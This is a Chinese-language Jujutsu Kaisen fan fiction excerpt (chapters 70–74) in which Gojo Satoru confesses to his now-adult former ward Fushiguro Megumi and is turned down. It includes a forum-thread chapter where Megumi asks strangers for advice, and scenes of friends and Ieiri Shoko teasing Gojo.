五条悟沉默了片刻,又问:“那,惠听到是我杀了伏黑甚尔是什么感觉?” 伏黑惠安静了一会儿似乎是在思考:“……没有什么特殊的感觉。” 五条悟歪着头看着他,蓝眼睛里映出灯光,有两个小小的亮点,被伏黑惠塞得满满当当。 伏黑惠还在思考:“您为什么今天突然跟我说这个?是他又做了什么事吗?” 伏黑惠从来没有高估过伏黑甚尔的人品,听了五条悟说的往事更觉得对方什么都做得出来。难道那家伙又重操旧业跟诅咒师混到一起了?! “没有,应该没有吧。”五条悟自己说着也有点犹豫,“最近没什么那家伙的消息,可能是挣够钱了在赌?” 伏黑惠闭了闭眼睛:“他赌博就没赢过。” 两个人对视了一眼。五条悟清了清嗓子:“惠不要跟他学。” “我知道。”伏黑惠说,“我不会沾染上这种恶习的。” “嗯嗯,我知道惠最乖了。”五条悟立刻点头赞同。点头点到一半,他有点犹豫地停了下来,他今天想和惠说的好像不是这个? 不对,也是这个,只是惠的反应跟他想象的不太一样。这样也好,果然惠还是最在意他,什么伏黑甚尔完全不是阻碍! 五条悟得意地挺起了胸膛。 伏黑惠:?? 他疑惑地看着五条悟:“悟先生?” “哦哦。”五条悟回过神来,突然问,“如果伏黑甚尔要带惠走,惠会不会跟他走?” “我为什么要跟他走?”伏黑惠被五条悟的几个问题弄得云里雾里,“他之前说过要带我走……” “什么?!”五条悟炸毛了,“他什么时候说的?为什么我不知道?!” 伏黑惠冷静地回答:“因为您那个时候还在「狱门疆」里。” “哦。”五条悟萎靡了,可怜巴巴地看着伏黑惠。 伏黑惠说:“我没答应。” 五条悟眼睛一亮,又支棱起来了:“我就知道惠不会答应的!” 伏黑惠挑起眉,好奇地问:“我还以为比起待在禅院家,您会更想我跟他走?” 五条悟烦恼地皱起眉:“惠待在禅院家最起码我知道惠在哪里,要是惠跟他走了,我就找不到了!但是跟他走可能会比待在禅院家轻松一点点……”他烦恼得像是伏黑惠现在正在经历抉择一样。 伏黑惠说:“我不会跟他走的。如果不是因为禅院家……做事比较方便,我就直接回去跟津美纪一起了。” 五条悟松了口气,连连点头:“对,惠不要跟他走!他养不起惠的!” 伏黑惠迷惑地说:“我也没有这么难养吧?” 五条悟又双叒叕露出了得意的笑容。 伏黑惠不明所以地看着他。 “反正他肯定是养不起惠的。”五条悟理所当然地说,“惠一直待在我身边就好了。” 伏黑惠试图把话题导向正轨:“所以,您今天特意找我说这件事,就是想让我别跟他走?” 他怀疑地看着五条悟,不明白这点事怎么能让他吃饭的时候都那么心神不宁。 “不是、不止是。”五条悟目光游移,所以当时还是应该买玫瑰花的,为什么没买呢??? “所以是为什么?”伏黑惠又一次使用了这个总结性词汇,并掏出了杀手锏,“您不说我就去找甚尔问了!” 五条悟脱口而出:“我喜欢惠。”【..top】 70-80 第71章 五条悟话音一落, 整个房间都陷入寂静之中。 伏黑惠脸上一片空白,茫然地看着他,好像一瞬间失聪了。 五条悟也没想到自己这么快就说出来了, 懊恼地伸手摸了摸通红的后颈。 他看着伏黑惠反应不过来的迷茫神情, 有点不好意思,装模作样地轻咳了两声:“虽然没买玫瑰,但是……惠应该也不喜欢……其实我本来是想带惠去……”他的脑子疯狂运转着, 从之前看到表白地点里挑选了一个, “我本来想带惠潜水,在漂亮的珊瑚丛里表白的。” 他越说越肯定, 好像自己本来就是这么想的。 伏黑惠看着他的样子, 粉色的唇瓣轻轻开合颤抖了几下。半晌后, 他像是终于找回了语言能力:“所以, 您是真的在告白?” 五条悟闭上了嘴。他和伏黑惠对视了一会儿, 两个人面面相觑。 五条悟看着伏黑惠闪烁的目光,微微眯起了眼睛, 嘴角不开心地下撇:“惠觉得我不认真吗?” “不,我不是这个意思。”伏黑惠本能地往后靠了靠, 离五条悟远了一点, 语无伦次地说, “我只是……我……”他手足无措地看着五条悟, 脸上写满了震惊。 五条悟看着伏黑惠下意识远离他的举动本来有点生气,但是看着伏黑惠难得不知所措的样子又觉得很可爱。 “惠只是没想到嘛!”五条悟宽容大度地原谅了他, “反正惠肯定也喜欢我!” 伏黑惠在五条悟告白后终于说出了一整句话:“谁告诉您我喜欢您的?!” 五条悟:??? 他震惊地看着伏黑惠:“惠不喜欢我?!!” 大白猫炸毛了,振振有词地问:“惠不喜欢我为什么给我要菜谱?不喜欢我为什么关注我生没生病?不喜欢我为什么……为什么对我那么好?!不管我干什么都会纵容我!” 伏黑惠条理分明地说:“要菜谱是因为您喜欢,关注您生没生病是因为关心您,对您好……”他想了想也没觉得自己对五条悟有多好, 难道不是五条悟对他更好吗? “对您好是因为您对我好,纵容您是因为您没做什么过分的事。”伏黑惠理直气壮地说。 五条悟有点感动又很委屈:“惠不喜欢我为什么要管我喜欢什么?!” “因为……”伏黑惠语塞了,他思考了一会儿,认真措辞道,“因为我在乎悟先生,希望您快乐,但这不是……不是那种喜欢。” 五条悟气呼呼地问:“那种喜欢是哪种喜欢?” 伏黑惠直白地说:“就是需要告白的那种喜欢。” 五条悟不甘心地问:“惠怎么知道自己对我不是那种喜欢?” 伏黑惠反问:“悟先生怎么知道自己对我就是那种喜欢?” 五条悟说:“我当然分得出来!” 伏黑惠说:“我也分得出来。” 五条悟说:“那不一样,惠又没有经验。” 伏黑惠问:“悟先生就很有经验吗?” 两个都没恋爱过的人面面相觑,都理直气壮地看着对方,认为自己的观点才是对的。 五条悟看着伏黑惠清澈的双眼,知道家入硝子为什么让他缓缓再告白了,因为惠完全没开窍,但是他觉得自己这个时候告白完全没问题,不然他担心惠永远都不会开窍。 “虽然我没有恋爱经验但姑且还是比惠大一些。”五条悟发现伏黑惠还没开窍时候,原本打算胡搅蛮缠的心思也收了收,耐心地说,“我是真的喜欢惠。” 五条悟摘下墨镜,用一双水汪汪的蓝眼睛看着伏黑惠:“惠觉得我在说谎吗?” “我没觉得您说谎,这么恶劣的玩笑您姑且还是不会开的。”伏黑惠看着那双诚挚的眼睛,很无奈地说,“但我……” “我知道惠现在还不认为自己喜欢我。”五条悟抬起手做出制止的手势,他不想听惠一次又一次说自己不喜欢他,“但惠应该不会讨厌我喜欢你吧。” 伏黑惠皱起眉:“我当然不会讨厌您,但是……” “没有但是哦~”五条悟手里把玩着墨镜,不动声色地磨了磨牙,“惠也没有喜欢过别人,那为什么不能喜欢我?” 伏黑惠随着五条悟的态度平静下来,吐槽道:“因为喜欢您会很麻烦。” 五条悟的眼神一瞬间委屈起来。 “但我不会因为麻烦就改变自己的想法。”伏黑惠叹了口气,“我是真的,没有这个想法。” “好吧。”五条悟也跟着叹了口气,瞬间转变了方式方法,低落地说,“悟先生好难过~” 伏黑惠内疚地看着他:“是我给了悟先生不好的误导吗?” “没有。”五条悟心都化了,伸手摸了摸伏黑惠的头,不情不愿地说,“硝子有提到过可能是这样,是我不相信惠居然不喜欢我。” 他扁了扁嘴,委屈得像是打碎了杯子的玉犬,看惠没有躲避他的动作,心里多了几分安定。 伏黑惠一边觉得他活该,一边又忍不住心软:“家入小姐都提醒您了。” 五条悟理直气壮地说:“但硝子是外人,又不像是我跟惠朝夕相处,我当然更相信自己的感受啊!” 伏黑惠想到两个人最近一直住在一起,觉得这的确是一个问题:“正好马上就要开学了,我搬去学校宿舍住吧。” 五条悟瞳孔一缩,大声质问:“为什么?!” 伏黑惠一头雾水地看着他:“我本来也想要搬到学校去住的。” 东大现在人数不多,重建东京的时候又分了一片校区过去,现在宿舍资源很充裕。伏黑惠本来就打算开学之后就搬走的。 五条悟一脸‘我不听我不听’:“惠早有打算为什么之前没跟我说过!你就是因为我告白了才想跟我分开住的!” 伏黑惠忍不住说:“就算是这样也很正常吧!” “这样哪里正常了?!”五条悟不可置信地看着他,“我只是告白了,惠就要离开我吗?!” 伏黑惠看着他的眼神,感觉自己好像干了什么不能饶恕的事,比如弃养小动物。 一瞬间的心软过后,伏黑惠又坚持住了,他不能再让悟先生误会了。 他坚定地说:“我们现在住在一起不好。” 五条悟可怜巴巴地垂下雪白的睫毛挡住蓝眼睛:“惠难道是觉得我会强行对你做什么吗?” 伏黑惠本能地摇了摇头:悟先生不是那种人。 “那惠为什么要离开?”五条悟抬起眼睛,用瑰丽的蓝眸给伏黑惠会心一击,“我不会对惠做什么坏事的。” “我没担心这个。”伏黑惠说,“我担心” “只是告白而已,不会影响我和惠的关系吧。”五条悟说,“就连我告诉惠是我杀了伏黑甚尔,惠都没有生我的气。” 伏黑惠冷静地说:“我并没有因为您的告白生气。”他说到‘告白’两个字的时候,脸上的表情十分一言难尽。 “那惠就不要搬走嘛~悟先生一个人待在家里好寂寞~”五条悟拉长了声音,眼巴巴地看着伏黑惠。 伏黑惠的眉头皱得更紧了,狠心拒绝了:“上学住学校宿舍是很正常的事,悟先生您不要任性。” 五条悟捂住心口,一脸受伤地看着伏黑惠,不可思议地说:“惠说我任性?!” 伏黑惠紧紧闭着嘴,嘴唇抿成了一条线。 五条悟看着伏黑惠泛白的唇色,突然缓和了语气,委曲求全地说:“那好吧,但是放假的时候还是要回来,惠不能因为我只是告白了就不理我了!” 五条悟用‘我已经退让了很多,你再不答应我就要闹了’的眼神看着伏黑惠。 “我不会的。”伏黑惠看着五条悟难过的表情觉得自己真的很过分,愧疚之情油然而生,但感情这种事是不能勉强的。 伏黑惠觉得自己的心情复杂得堪比扇形图。他起身很正式地朝着五条悟鞠了一躬:“我真的没有讨厌您,也没有生气,抱歉。” 五条悟难过地抱着抱枕,看着伏黑惠道完歉之后一溜烟走回了自己的房间,把脸埋进抱枕里。 ——差点笑出声。 惠真的太太太太可爱了! 五条悟用脸用力蹭着抱枕,肩膀一颤一颤的。他的惠还是这么吃软不吃硬,只要他撒撒娇,只要不是原则问题对方都会妥协的。 五条悟在遇见伏黑姐弟之前是不会撒娇的。 小时候五条家只需要命令,上了高专之后唯我独尊的大少爷也不会对同期服软,更多是争锋相对地互坑,养了两个小孩之后,五条悟发现伏黑惠油盐不进的小孩,尝试了很多方式才偶然发现这样才能搞定吃软不吃硬的小朋友。 直到某一次被家入硝子看到了,家入硝子震惊地说:好好的,你撒什么娇啊?! 五条悟才意识到:哦,原来这就是撒娇啊! 然后就把这招用的更起劲了。 伏黑惠回到房间后,小心翼翼地观察着五条悟的反应。从门缝里看到五条悟把头埋在抱枕里好像是哭了,他顿时浑身一个激灵,愕然又迷茫,手足无措地在房间里来来回回地走了好久也不知道该怎么办。 伏黑惠打开手机,翻看着通讯录,翻了半天也没找到适合求助的人。 他在伏黑津美纪的名字上停留了一会儿,但是想不到津美纪听到悟先生对他告白会有什么反应,于是犹豫了一下还是放弃了。 伏黑惠叹了口气,烦躁地摸了摸后颈。他到现在还觉得今晚发生的一切都很不真实。 ——悟先生怎么会喜欢他呢? 第72章 【情感】【匿名】【主题】请问监护人对我表白了该怎么办? 1#LZ 如题。 2# 2L 3# 等等! 4# 啊?! 5# 这标题是认真的吗?! 6# 匿名区就是爆啊! 7# 报警啊LZ!!!你在犹豫什么?! 8#LZ 为什么要报警? 9# LZ认真的? 10#LZ 是的, 我很认真。 11# 看出LZ很认真了,居然每句话标点都是对的 12# 不是,LZ你不报警是等什么呢?监护人, 呸!表白的监护人不配叫监护人 13#LZ 请不要骂他, 他没有做错事。 14# 不是?LZ?! 15# LZ你是不是被监护人洗脑了?都对你告白了还没做错事?LZ你成年了吗? 16#LZ 我成年了。 17# 成年了似乎是不需要报警了 18# LS别闹,就算成年了,看LZ年纪应该也不大, 监护人做出这种事还是很恶心 19#LZ 我今年十八岁。请不要这么说监护人。 20# 十八岁, 那岂不是刚成年就告白了,怕不是监护人终于等到今天了吧?人渣! 21# LZ对监护人也太维护了!少女, 听姐姐一句话, 未来还有大把帅哥等你青睐, 监护人这种老头该扔就扔 22#LZ 我是男生, 而且想要遇到比监护人更帅的人应该很难。 23# 啊?那监护人是女的? 24# LZ形容监护人用的是帅, 应该是男的吧? 25#LZ 嗯,我和监护人都是男的。 26# 啊? 27# 现在男孩子也很危险啊! 28# 但因为同性恋婚姻法案没通过, 很多同性恋想结婚都是用收养解决的吧 29#LZ 我们不是那种关系,我和监护人就是很普通的监护关系。 30# LZ你只能保证你不是, 监护人的心思你也不知道, 何况他都表白了, 说不定早就看上你了收养了, 只不过等到你成年才表白 31#LZ 我们真的不是。监护人也不是真正意义上收养我的监护人,名义上应该是资助。我和姐姐多亏了监护人才能不被送去孤儿院, 可以继续上学。 32# 艹,LZ还有个姐姐! 33# 姐姐没事吧?! 34#LZ 姐姐跟这件事没有关系。 35# LZ你确定没关系吗? 36#LZ 我很确定,监护人不是那种人。 37# LZ真的很信任监护人啊 38# 但有时候信任是会错付的,LZ!!! 39#LZ 不会的, 监护人是个很好的人,有坚定的人性。 40# 坚定的人性……这个形容词好奇怪啊 41# 不过既然LZ这么信任监护人,也许……嗯……抱歉,我还是不能接受 42# 要不然LZ详细说说监护人呢?感觉LZ标题里那个表白的监护人和他维护的监护人不是一个人 43#LZ 是同一个人。他真的是个很好的人。 44# LSS说得有道理,LZ详细说说吧,不然一个表白的监护人很难觉得他合格啊,就算你说那不是监护人也一样 45# 既然不是监护人,LZ要不要换个称呼,不然表白和监护人这两个组合在一起,很难让人想起人渣意外的词 46#LZ 那就用‘先生’称呼他吧。 47# 先生……感觉已经已婚多年了 48# 先生收养我和姐姐的时候,因为父亲和继母消失,我和姐姐的钱已经快要用完了,愿意资助我们的先生是恩人。之后的九年,我和姐姐能过普通的生活都是先生的功劳。但是今天先生突然说喜欢我,但我不喜欢先生,只能拒绝他了。 49# 完了? 50# 就完了?! 51# LZ你说的也太简略了!!!! 52# 虽然简略,但LZ小时候父母失踪,先生从天而降帮了他们姐弟,对于小小的LZ来说都能算是天神降临了吧,怪不得对先生的滤镜那么深。 53# 有这样的父亲和继母,没有血缘关系的监护人的确很好了,是没有血缘关系吧? 54#LZ 我和先生分别出身的家族据说很久前曾经联姻过,但近几百年都没有联姻过了,应该算是没有血缘关系。 55# 家族……? 56# 看先生似乎是很有钱,随随便便就能资助两个孩子,但是LZ也出身大族吗?如果是的话,为什么需要先生资助啊? 57#LZ 因为姐姐和我没有血缘关系,如果我回到家族的话,姐姐就不能和我一起生活了。是先生帮我搞定了家族,让我能够继续和姐姐自由生活在一起。 58# LZ和姐姐没有血缘关系? 59#LZ 嗯,我是父亲的孩子,姐姐是继母带来的孩子。 60# 啊……那LZ和姐姐关系还这么好,真难得 61# 重组的这一对还真般配,都这么不负责!两个人结婚就为了能把两个孩子一起扔了吗?! 62#LZ 先生告白之前告诉我,是他杀了父亲,所以父亲没有故意抛弃我。 63# 等等!什么?!所以先生是杀人犯?!!! 64# 所以监护人还有杀人前科?!!! 65# 那先生不是应该在监狱里吗?!难道是钱X勾结?! 66# 不仅没进监狱还能资助LZ,LZ你确定先生不是有阴谋吗?! 67#LZ 不是的,不是先生的错,是我父亲先做错了事,先生只是自保反击。 68# LZ的口头禅:不是先生的错 69# 所以是先生因为自卫反击杀了LZ父亲,心里过意不去资助LZ姐弟? 70# 这么看来先生似乎的确是个好人 71# 不是,你们注意一下时间线,LZ说先生告白之前才告诉他是他杀了他父亲,他为什么不早说 72#LZ 先生本来一开始就想告诉我的,是我说不想听父亲的事,先生才让我什么时候想听再去问他。 73# …… 74# LZ和先生真是…… 75# 天生一对天生一对 76#LZ 我们不是。我不喜欢先生。 77# LZ是不是编的故事啊?杀父之仇之后还能有这个进展?LZ你听到先生杀了你父亲,结果你的重点是先生对你告白怎么办?! 78#LZ 有什么问题吗? 79# 问题大了好吗?! 80# LZ跟父亲真的一点儿感情都没有的样子 81# 从小被遗弃的话,没感情很正常 82# 但不是遗弃啊,不是说因为死了 83# LZ不知道啊,现在知道也晚了,感情没了就是没了,不可能突然就冒出来 84# 果然还是先生的阴谋吧,这么重要的事,LZ说不想听就不说了也太奇怪了! 85# 不是先生的错 86#LZ 不是先生的错。 87# 笑死了 88# LZ高仿都出现了 89# 没办法,LZ每次看到有人说先生不对都是这个反应 90# LZ你都这么维护先生了还不是喜欢吗? 91#LZ 不是。 92# 我不理解 93# LS你是不理解什么? 94# 不理解LZ的脑回路 95# 我也不理解 96# LZ你到底是想怎么样? 97#LZ 我想知道怎么拒绝先生不会让他伤心。 98# 呃…… 99# 首先,你不是已经拒绝了吗? 100#LZ 是的,但我拒绝之后,先生好像很伤心,所以我想知道怎么能让他不要伤心。 101# 你答应他就不伤心了 102#LZ 但我不喜欢先生,先生应该拥有一个喜欢他的人。 103# 所以LZ的重点还是先生 104# LZ的重点不是一直是先生吗?我感觉要是先生以死相逼,LZ会立刻屈服 105#LZ 先生不会的。 106# 我现在觉得你和你先生真是天生一对 107# 都你和你先生了,肯定是天生一对啊 108#LZ 我不喜欢先生。 109# LZ你自己信吗?你把先生看得比亲爹还重要 110#LZ 有什么问题吗? 111# …… 112# 【无语.jpg】 113# LZ居然真的不觉得有什么问题【细思极恐.jpg】 114# 不用细思也挺恐的,我现在怀疑LZ被PUA了,先生手段高超啊! 115#LZ 先生没有! 116# LZ第一次用感叹号,之前说父亲死了都没用过 117#LZ 请不要在纠结于先生的人品问题了,先生虽然偶尔有些任性、喜欢撒娇、唯我独尊,但他真的是个好人。我现在只是想知道要怎么让先生不伤心。 118# 没有这方面的经验 119# 我只想让LZ赶紧跑 120# LZ你为什么说先生好像很伤心啊 121# 难道LZ终于发现先生的真面目了 122#LZ 因为我看到他好像哭了,但是先生之前从来不会哭的,所以……我不确定。 作者有话说:感觉这章好像不能完全算是番外,因为跟正文是有联系的,但是有读者不喜欢论坛体,而且正文也连得上,那就……算是番外吧 第73章 伏黑惠放下手机, 轻轻叹了口气。 禅院真希问:“干嘛呢,惠,一脸愁苦的表情?谁欺负你了, 我去揍他。” “真希前辈好, 我没有被欺负。”伏黑惠回过神来,跟禅院真希问好,很无奈地问, “为什么你们都喜欢这么问。” “因为惠看起来真的很容易被欺负啊!”Panda从另一边突然窜出来, 吓了伏黑惠一跳。 “Panda前辈!”伏黑惠呼吸一颤,翠绿色的眼睛微微睁大。 “伏黑。”Panda后面还跟着虎杖悠仁和钉崎野蔷薇, 两个人跟伏黑惠打了个招呼。 “虎杖、钉崎。”伏黑惠也跟两人打了个招呼, 他看着齐聚一堂的众人, “你们……”怎么都来了? Panda笑呵呵地伸出毛茸茸的爪子揽住了伏黑惠的肩膀防止他逃跑, 热心地问, “惠有什么烦恼,跟我们分享一下。” 伏黑惠困惑且怀疑地看着所有人, 然后看向禅院真希。 禅院真希跟伏黑惠相处的时间更长,很好地领会了他的意思:“跟我没关系, 悟干的。” 伏黑惠的心跳都跳空了一拍:“悟先生干了什么?” 所有人的目光都变得了然起来。 钉崎野蔷薇打了个响指:“果然是那家伙干了什么!” Panda指了指伏黑惠的手机:“惠你刚才愁眉苦脸的是在跟他聊天吗?” “不是。”伏黑惠直接松手, 让手机掉进了影子里。 钉崎野蔷薇嘿嘿嘿地说:“这么防着我们啊!” 伏黑惠警惕地看着他们。 Panda说:“证明惠已经了解了我们的本性。” 禅院真希说:“错过什么都不能错过八卦!” 钉崎野蔷薇扬眉吐气地说:“尤其还是那个混账老师的八卦!” 伏黑惠嘴角抽了抽, 完全不能理解他们在骄傲什么。 虎杖悠仁的反应慢了半拍, 关心地问:“五条老师的病好了吗?” “嗯……”伏黑惠含混不清地应了一声,还没来得及说别的, 就看到周围的人一言难尽地看着虎杖悠仁,“你还真信他是生病了啊?!” 伏黑惠和虎杖悠仁一起疑惑地看着他们。 禅院真希忍不住吐槽道:“虎杖也就算了,惠你跟悟一起生活这么久,居然也相信了?” 伏黑惠在五条悟告白之后已经大概猜出来他所谓的生病是怎么一回事了, 听到这里不免面红耳赤地低头:“是我误会了。” 其他人看着小白兔一样的伏黑惠,交换着难以言喻的目光。 禅院真希作为伏黑惠的长辈,率先开口问:“你误会什么了?” 伏黑惠的嘴唇动了动,目光游移。 Panda揶揄地问:“你难得跑到高专来,悟那家伙做了什么?” “没……”伏黑惠下意识反驳。他停顿了一下看向其他人,意识到对熟人提问应该比在网上提问靠谱。 而且,伏黑惠迟疑地问:“你们之前在悟先生主页下的留言……” 其他人眼中精光大盛,伏黑惠下意识往后退了一步,似乎想要随时藏进影子里。 禅院真希直白地问:“悟下手了?!” “他也太快了吧!”钉崎野蔷薇震惊地问,“伏黑不是刚成年吗?!” “没想到悟竟然真的这么人渣!”Panda痛心疾首地说,他握住伏黑惠的手,信誓旦旦地说,“惠,你不要怕,我带你去找正道告状,让正道狠狠教训他!” 眼看着五条悟的风评一去不复返,伏黑惠立刻说:“不是,悟先生没做什么过分的事,他只是告白了!” 众人哗然。四个脑袋凑在一起占据了伏黑惠所有视野。 虎杖悠仁目瞪口呆:“五条老师居然真的告白了!” 禅院真希咬牙切齿:“不愧是人渣!” 钉崎野蔷薇还有点佩服:“还挺勇的嘛!” Panda好奇地看着伏黑惠:“惠你是怎么回应的?” 钉崎野蔷薇给他打气:“千万不要轻易答应,要狠狠刁难他!这样的机会很难再有第二次了!” 伏黑惠尴尬地抿了一下嘴角。 同样是东京校。 家入硝子的办公室里,办公室主人的嘲笑声突破天际。 家入硝子看着一脸郁闷的五条悟,笑得肚子都疼了。 “硝子!”五条悟恼羞成怒地瞪着她,耳朵通红。 家入硝子勉强收敛了笑声,深吸了一口气,颤抖着说:“我都……都提醒你了不要…不要这么快就告白。” “错了哦,硝子。”五条悟虽然很郁闷昨天收到了拒绝,但还是坚持自己的做法没有错,“我要是昨天不告白,惠大概一直都不会开窍。” 家入硝子揶揄地问:“你确定惠只是不开窍?” 五条悟大声地坚定地说:“当然了!惠肯定喜欢我,他只是还没开窍!” 家入硝子啧啧作响地说:“悟你知道你现在很像是在自欺欺人吗?” 五条悟不服输地说:“硝子还能比我更了解惠吗?” 家入硝子一针见血地说:“你这么了解惠,预料到自己告白会被拒绝了吗?” 五条悟倒在了沙发上,抓起抱枕捂在脸上。 家入硝子幸灾乐祸地看着五条悟:“真惨啊,五条,第一次恋爱这么快就失恋了!” “我、没、有、失恋!”五条悟从抱枕下面露出一只蓝眼睛,恶狠狠地说,“惠只是还没有认清自己的感情,不是不喜欢我!” 家入硝子苦口婆心地说:“五条,感情的事不能强求啊!” 五条悟理直气壮地说:“我没有强求,只是让惠认清自己的内心而已。” 家入硝子摇了摇头:“如果不是报警对你没用,我一定给惠提供法律援助。” 五条悟纳闷地问:“为什么?” 家入硝子感慨地说:“因为你很像电影里那种需要被送进监狱的人渣监护人!” “哈?!”五条悟莫名其妙地看着她。 家入硝子继续吐槽道:“惠这么有法律意识,到现在还没有报警对你也挺……”她把‘真爱的’几个字咽下去,不想看到花孔雀一样的五条悟了,伤眼睛。 但五条悟很好地领会了她的意思,得意地说:“惠怎么可能报警?你都说了惠那——么——纵容我!” “惠那么好的孩子,怎么就摊上了你呢?”家入硝子吐槽道,“要是他知道伏黑甚尔跟你的过节……” “惠已经知道了。”五条悟摇晃着脚,看起来已经从首次告白失败的阴影中走出来了,还有心情嘲笑家入硝子,“我当然会先告诉惠这件事,再跟惠告白啊!” 家入硝子:…… 她神色复杂地看着五条悟,抬手扶额:“悟,你说实话,惠真的没有试图揍你吗?” “没有哦~”五条悟笑得露出一口大白牙,“惠很贴心地安慰了我,说不是我的错~” 家入硝子给自己倒了杯水,就着羡慕嫉妒恨一起咽下去,又一次重复道:“惠这么好的孩子……” “硝子羡慕吧~”五条悟美滋滋地说。 家入硝子看着五条悟嘚瑟的神情,用手里的笔敲了敲桌面,心平气和地问:“五条,你知道你为什么告白失败吗?” 五条悟脸上的笑容消失了,他鼓起脸颊:“因为惠还没开窍。” “错了。”家入硝子露出了胜利的笑容,“因为没有人会在告诉对方我刚杀了你父亲之后就告白,没有人!!!” 五条悟怀疑地看着她:“惠才不会那么小气……” “这不是小不小气的问题。”家入硝子叹了口气,感觉五条悟这么多年都白活了,“人的情绪承受能力是有限度的。你不能前一秒告诉他‘我杀了你父亲’,下一秒又告诉他‘我喜欢你’,人的情绪转变没有这么快!” 五条悟思考了片刻,惊喜地说:“所以惠拒绝我是因为他没反应过来?” 家入硝子木然地看着他:“五条,我有时候真佩服你的自信。” “嗯哼!”五条悟扬起下巴。 家入硝子说:“没在夸你!” 五条悟听到了符合自己喜好的句子,自顾自地转移话题:“硝子,你说惠喜欢什么样的礼物?” 家入硝子阴阳怪气地说:“我怎么知道,我又没有你了解惠!” “我知道啊!”五条悟理所当然地说,“我只是找硝子要点恋爱建议而已。不过现在想想硝子自己也没有谈过恋爱,估计也没有可以用的经验。” 家入硝子皮笑肉不笑地说:“是啊,毕竟我不是人渣!” “硝子~”五条悟露出一双布灵布灵的蓝眼睛,“给点建议嘛!” “你怎么不找别人要建议?”家入硝子给自己点了根烟,惆怅地说,“七海应该有点经验吧,还有冥小姐和歌姬她们。” 为什么只抓着她一个人祸害啊?! “他们都有工作嘛,找硝子最方便啊!”五条悟说着讨打的话。 “我也有工作!”家入硝子愤怒地说。她为什么要一边忙着工作一边吃五条悟硬喂的狗粮。 “硝子的工作又不影响听我说话。”五条悟说,“我不在意你听我说话的时候看尸体。” “我介意。”家入硝子叹了一口气,掏出了手机,“你要是还不走,我就给惠打电话,让他把你带走。” “好啊好啊!”五条悟笑嘻嘻地说,“我就知道找硝子肯定没错!” 家入硝子看五条悟的眼神像是在看需要家长来接的幼儿园熊孩子。她愤怒地拨通了伏黑惠的电话。 此时,伏黑惠正深陷在众人的逼问中无法自拔,听到电话铃声,他松了口气:“喂……家入小姐?” 第74章 在家入硝子的办公室等着伏黑惠来接的五条悟就这么等来了乌泱泱的一群人。 伏黑惠心累地站在人群最前方, 跟坐在沙发上的五条悟面面相觑。 家入硝子假装打哈欠抬手挡住自己抽搐的嘴角,让自己显得没有那么幸灾乐祸,不然谁知道五条悟看到之后会不会以后硬灌她狗粮。 最后还是五条悟先反应过来。他看了看显得有点心虚的伏黑惠, 伸手把人拉过来按到沙发上坐下, 看着其他人,理直气壮地问:“我亲爱的学生们是来探病吗?伴手礼呢?” 来看热闹的众人顿时被他的厚颜无耻惊呆了。 深明大义的熊猫代替众人抒发心声:“悟,你要点脸吧!” “我的脸很好啊!”五条悟装模作样地摸了摸自己不用保养也青春得如同大学生的脸, 貌似随意地抓过伏黑惠的手, 把下巴放到他的掌心里,朝着他忽闪着眼睫毛, 坏心眼地问, “惠看看, 我的脸怎么样?” 伏黑惠的脸腾得一下就红了。 虽然以前更亲密的接触也不是没有过, 但五条悟告白了之后, 两人之间的距离感似乎一下子就不一样了。 伏黑惠的目光躲闪了一下,还是强忍羞意落在五条悟脸上。面前的男人不管是白皙的脸颊还是湛蓝的眼睛, 高挺的鼻梁还是淡粉色的唇瓣无一不在彰显着他的良好资本,满怀期待的眼神让人根本没办法说出反驳他的话。 伏黑惠不自在地抿了抿嘴角:“悟先生还是很帅气。” 五条悟适时地放开了伏黑惠的手, 看向其他人让小孩自己冷静一会儿:“看吧, 惠说了, 我的脸一点儿问题都没有, 很帅!” 众人敬佩地看着他这一番行云流水调戏人的动作。 钉崎野蔷薇不由得发出感叹:“五条老师,你以前真的没谈过恋爱吗?” “没有啊!”五条悟一边回答一边关注着伏黑惠的反应, “老师初恋尚在,是洁身自好的好老师哦!” “我不信。”禅院真希看向家入硝子,“家入老师,悟真的没谈过恋爱?” “真的。”家入硝子在必要时刻还是站在五条悟这边耳朵, “悟真的没谈过。” “难道这种技巧也有天生的?”Panda怀疑地看着五条悟,“但悟一点儿都不像。” 其他人都深以为然地点头。虎杖悠仁说:“说不定五条老师谈恋爱也是最强的?” “嘁!”众人纷纷不服气地发声,但又打不过五条悟。 钉崎野蔷薇啧啧有声地说:“我算是知道当初来栖是怎么失败的了。” 伏黑惠有点头疼地按了按额角:“那不关悟先生的事。” “是啦是啦,是你太忙了根本没时间理人。”钉崎野蔷薇吐槽道,“就是因为这样才要靠外力啊!当时想让你帮忙你也不肯。” 五条悟直抒胸臆:“我和惠见面的时间都很少了,干嘛还要分给别人!” 禅院真希说:“惠,他承认了。” 伏黑惠下意识看了五条悟一眼,跟那双漂亮的蓝眼睛撞了个正着,顿时心下一跳。 五条悟无辜地说:“我只是不想把跟惠见面的时间分给别人,没有错吧?” 伏黑惠本能地点了点头。 “唉!”周围传来其他人恨铁不成钢地叹气声。 伏黑惠红着脸反驳道:“是我自己不想见来栖君。” “嗯嗯,我从来不会勉强惠做任何事哦~”五条悟得意地说。 伏黑惠心不在焉地点了下头,示意五条悟说得对。 其他人:…… 几人凑到一起窃窃私语。 Panda问:“惠是不是太好骗了?” 禅院真希说:“你以为为什么悟总是担心惠被禅院家拿捏住?” 钉崎野蔷薇说:“我还以为是他关心则乱呢,没想到惠居然真的这么好骗到手,早知道当初就劝来栖大胆下手而不是没戏了就长痛不如短痛了。” 虎杖悠仁奇怪地说:“感觉以前伏黑没有这么……看起来没有这么好……嗯,好骗。” “可能因为以前惠还是禅院家主吧。”Panda有理有据地说,“所以不能这么放飞自己。” 禅院真希呵呵地说:“他当禅院家主的时候也挺放飞自己的。禅院家的人都担心他把禅院家送出去。” “不至于吧。”Panda愕然地说,“惠在禅院家不是挺有威望的吗?” 禅院真希吐槽道:“在族人里有威望和长老担心他带着禅院家并入五条家是两回事。” 钉崎野蔷薇脱口而出:“嫁妆?!” “噗嗤!哈哈哈哈哈哈!”一直能听到他们小声说话的五条悟终于忍不住了,哈哈大笑,“嫁、嫁妆哈哈哈哈哈哈!”他颤抖着收住笑容,“没关系,我不会贪图惠的嫁妆的” 伏黑惠面红耳赤地瞪着五条悟:“请您正经一点。” 五条悟深呼吸,把笑声咽回肚子里,像一只打翻了水杯的无辜猫猫那样看着伏黑惠。 在场的人看着这训猫有素的一幕,叹为观止。 禅院真希满脸深沉地拍了拍伏黑惠的肩膀:“我之前小看你了,惠。” 伏黑惠茫然地看着她。 Panda毛茸茸的爪子放到了伏黑惠另一边的肩膀上:“真了不起啊,惠。” 伏黑惠的眼神更迷茫了。 